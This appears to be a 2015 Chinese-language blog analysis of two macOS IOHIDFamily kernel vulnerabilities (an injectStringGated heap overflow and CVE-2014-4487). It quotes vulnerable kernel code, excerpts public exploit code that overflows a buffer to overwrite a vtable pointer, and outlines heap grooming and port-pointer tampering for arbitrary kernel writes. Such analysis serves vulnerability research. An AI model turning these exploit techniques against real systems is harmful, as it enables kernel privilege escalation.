March 21, 2015

IOHIDSecurePromptClient::injectStringGated Heap Overflow

IOHIDSecurePromptClient::injectStringGated堆溢出漏洞

update – 漏洞发现者博客

前两周网上有披露一个IOHID中的堆溢出漏洞,并且有完整的攻击代码,这里做个简单的分析:D

漏洞出现在IOHIDSecurePromptClient的12号处理函数中:


IOExternalMethod *
IOHIDSecurePromptClient::getTargetAndMethodForIndex(IOService ** targetP, 
                                                    UInt32 index)
{
        ...
        // 12: kIOHIDSecurePromptClient_injectString
        { NULL, (IOMethod)&IOHIDSecurePromptClient::injectStringMethod, kIOUCStructIStructO, kIOUCVariableStructureSize, 0 },       
        ...
};

injectStringMethod -> injectStringGated 函数中将输入的参数拷贝到缓冲区时没有对长度做任何检查,从而会导致堆溢出:


IOReturn
IOHIDSecurePromptClient::injectStringGated(void * p1, void * p2, void * p3 __unused,void * p4 __unused)
{
    IOReturn result = kIOReturnBadArgument;
    IOHIDSecurePromptClient_RawKeystrokeData * dummyRawData = NULL;
    UTF32Char *string = (UTF32Char*)p1;
    intptr_t length = (intptr_t)p2 / sizeof(UTF32Char);
    vm_size_t dummyDataSize = length * sizeof(IOHIDSecurePromptClient_RawKeystrokeData);

    ...

    dummyRawData = (IOHIDSecurePromptClient_RawKeystrokeData*)IOMalloc(dummyDataSize);
    memset(dummyRawData, 0xff, dummyDataSize);

    // _reserved->rawKeystrokes是在IOServiceOpen的时候分配的堆内存,在这里拷贝的时候没有检查输入的length
    __InsertBytes(_reserved->rawKeystrokes, _reserved->insertionPoint, _reserved->stringLength, string, length,  sizeof(UTF32Char));
    __InsertBytes(_reserved->unicode, _reserved->insertionPoint, _reserved->stringLength, dummyRawData, length,  sizeof(UTF32Char));
    __EraseMemory(string, length * sizeof(UTF32Char));
    _reserved->insertionPoint += length;
    result = kIOReturnSuccess;

    ...
}

_reserved->rawKeystrokes的初始化在 initWithTask -> ensureBufferSize 函数中:

bool
IOHIDSecurePromptClient::initWithTask(task_t owningTask, 
                                      void* security_id,
                                      UInt32 type,
                                      OSDictionary * properties)
{
    ...

    // initially we allow for a 32 character password but will grow it if needed
    require_noerr(ensureBufferSize(32), init_error);

    ...
}

IOReturn
IOHIDSecurePromptClient::ensureBufferSize(UInt32 size)
{
    ...    

    // newSize = size = 32
    // round size up to next power of two
    newSize--;
    newSize |= newSize >> 1;
    newSize |= newSize >> 2;
    newSize |= newSize >> 4;
    newSize |= newSize >> 8;
    newSize |= newSize >> 16;
    newSize++;    

    result = kIOReturnNoMemory;
    require(newSize < 1024, finished);

    newBufferSize = newSize * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    // newBufferSize = 32*12 = 384 分配的堆在kalloc.512的zone里
    newBuffer = (UInt8*)IOMalloc(newBufferSize);
    require(newBuffer, finished);
    newKeystrokeOffset = newBuffer + newSize * sizeof(UTF32Char);
    memcpy(newBuffer, _reserved->unicode, _reserved->stringLength * sizeof(UTF32Char));
    memcpy(newKeystrokeOffset, _reserved->rawKeystrokes, _reserved->stringLength * sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    oldBuffer = (UInt8*)_reserved->unicode;
    oldBufferSize = _reserved->bufferLength * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    _reserved->unicode = (UTF32Char*)newBuffer;
    // _reserved->rawKeystrokes 被设置为 newBuffer+32*4 的位置
    _reserved->rawKeystrokes = (IOHIDSecurePromptClient_RawKeystrokeData*)newKeystrokeOffset;
    _reserved->bufferLength = newSize;
    newBuffer = NULL;
    result = kIOReturnSuccess;

    ...
}

攻击代码中的利用思路:通过heap风水使newBuffer正好分配在一个IOUserClient对象(同样在kalloc.521)的前面,那么通过调用injectStringGated溢出8字节就可以修改之后对象的vtable,从而获取代码执行的可能。注意传入的参数对象长度是 512-32*4+size_to_overwrite(demo代码中为8字节vtable地址) = 384+8

int main(int argc, const char * argv[]) {
    ...

    uint64_t payload[1];
    void** vtable = alloc((void*)0x1337100000, 0x1000);
    payload[0] = (uint64_t)vtable;

    if (!lsym_heap_overflow((void*)payload, sizeof(payload)))
    {
        printf("[-] Heap overflow unsuccessful.n");
    }

    ...
}

char lsym_heap_overflow(char* data, size_t size) {
    ...

    size += 384;

    char* payload = malloc(size);

    memcpy(payload + 384, data, size - 384);

    if (size >= lsym_heap_overflow_bufsize()) {
        return 0;
    }

    err = IOConnectCallMethod(conn, 10, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1

    if (err != KERN_SUCCESS)
        err = IOConnectCallMethod(conn, 12, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1

    if (err != KERN_SUCCESS) return 0;

    return 1;
}

CVE-2014-4487 – IOHIDLibUserClient堆溢出漏洞

漏洞描述

通过查看IOHIDFamily的代码,检查IOHIDLibUserClient的15号处理函数_getElements。该函数的入参是1个uint64,指定要获取的element是哪个队列的。出参是一个struct结构,无固定长度。


    { //    kIOHIDLibUserClientGetElements
    (IOExternalMethodAction) &IOHIDLibUserClient::_getElements,
    1, 0,
    0, kIOUCVariableStructureSize
    },

在返回映射内存的时候包含了整个数据区的大小

IOMemoryDescriptor *IOSharedDataQueue::getMemoryDescriptor()
{
    IOMemoryDescriptor *descriptor = 0;

    if (dataQueue != 0) {
        descriptor = IOMemoryDescriptor::withAddress(dataQueue, getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE, kIODirectionOutIn);
    }

    return descriptor;
}

通过IOConnectSetNotificationPort可以设置一个通知端口,用于当队列发生变化时接收到通知。notifyMsg中包含了一个内核结构port,该内核结构被暴露到了用户态下

void IODataQueue::setNotificationPort(mach_port_t port)
{
    mach_msg_header_t * msgh = (mach_msg_header_t *) notifyMsg;

    if (msgh) {
        bzero(msgh, sizeof(mach_msg_header_t));
        msgh->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
        msgh->msgh_size = sizeof(mach_msg_header_t);
        msgh->msgh_remote_port = port;
    }
}

利用思路

通过映射内存后我们可以在用户态下修改port指针,而port指针在发送队列变化通知时会被使用

void IODataQueue::sendDataAvailableNotification()
{
    kern_return_t       kr;
    mach_msg_header_t * msgh;

    msgh = (mach_msg_header_t *) notifyMsg;
    if (msgh && msgh->msgh_remote_port) {
        kr = mach_msg_send_from_kernel_with_options(msgh, msgh->msgh_size, MACH_SEND_TIMEOUT, MACH_MSG_TIMEOUT_NONE);
        switch(kr) {
            case MACH_SEND_TIMED_OUT:    // Notification already sent
            case MACH_MSG_SUCCESS:
            case MACH_SEND_NO_BUFFER:
                break;
            default:
                IOLog("%s: dataAvailableNotification failed - msg_send returned: %dn", /*getName()*/"IODataQueue", kr);
                break;
        }
    }
}

sendDataAvailableNotification -> mach_msg_send_from_kernel_with_options -> ipc_kmsg_get_from_kernel 函数中存在一个内存拷贝的操作,通过精心构造数据控制port指向的内容,可以转换成任意的内存写的利用

mach_msg_return_t
ipc_kmsg_get_from_kernel(
    mach_msg_header_t   *msg,
    mach_msg_size_t size,
    ipc_kmsg_t      *kmsgp)
{
    ...

    dest_port = (ipc_port_t)msg->msgh_remote_port;

    msg_and_trailer_size = size + MAX_TRAILER_SIZE;

    /*
     * See if the port has a pre-allocated kmsg for kernel
     * clients.  These are set up for those kernel clients
     * which cannot afford to wait.
     */
    if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {
        ...

        // 控制port的内容后可以控制kmsg
        kmsg = dest_port->ip_premsg;
        if (ikm_prealloc_inuse(kmsg)) {
            ip_unlock(dest_port);
            return MACH_SEND_NO_BUFFER;
        }

        ...
    }
    else
    {
        kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
        if (kmsg == IKM_NULL)
            return MACH_SEND_NO_BUFFER;
    }

    // kmsg->ikm_header可控,msg就是notifyMsg结构,也可控,size也可控
    (void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);

    ...
}

触发条件

  • 首先需要找到使用IOSharedDataQueue来处理数据的对象
  • 通过IOConnectSetNotificationPort设置内核port
  • 通过IOConnectMapMemory获取映射内存,从而可以修改notifyMsg中的port数据
  • 内核heap风水控制数据后修改port,当队列发生变化时触发漏洞,达到任意写内核内存的目的